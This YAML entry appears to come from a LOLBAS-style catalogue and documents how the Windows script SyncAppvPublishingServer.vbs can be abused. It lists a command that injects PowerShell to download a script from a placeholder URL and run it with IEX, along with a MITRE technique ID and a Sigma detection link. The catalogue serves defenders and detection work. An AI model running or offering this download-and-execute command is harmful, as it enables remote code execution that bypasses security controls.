--- Name: Syncappvpublishingserver.vbs Description: Script used related to app-v and publishing server Author: 'Oddvar Moe' Created: 2018-05-25 Commands: - Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX" Description: Inject PowerShell script code with the provided arguments Usecase: Use Powershell host invoked from vbs script Category: Execute Privileges: User MitreID: T1216.002 OperatingSystem: Windows 10, Windows 11 Full_Path: - Path: C:\Windows\System32\SyncAppvPublishingServer.vbs Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml Resources: - Link: https://twitter.com/monoxgas/status/895045566090010624 - Link: https://twitter.com/subTee/status/855738126882316288 Acknowledgement: - Person: Nick Landers Handle: '@monoxgas' - Person: Casey Smith Handle: '@subtee'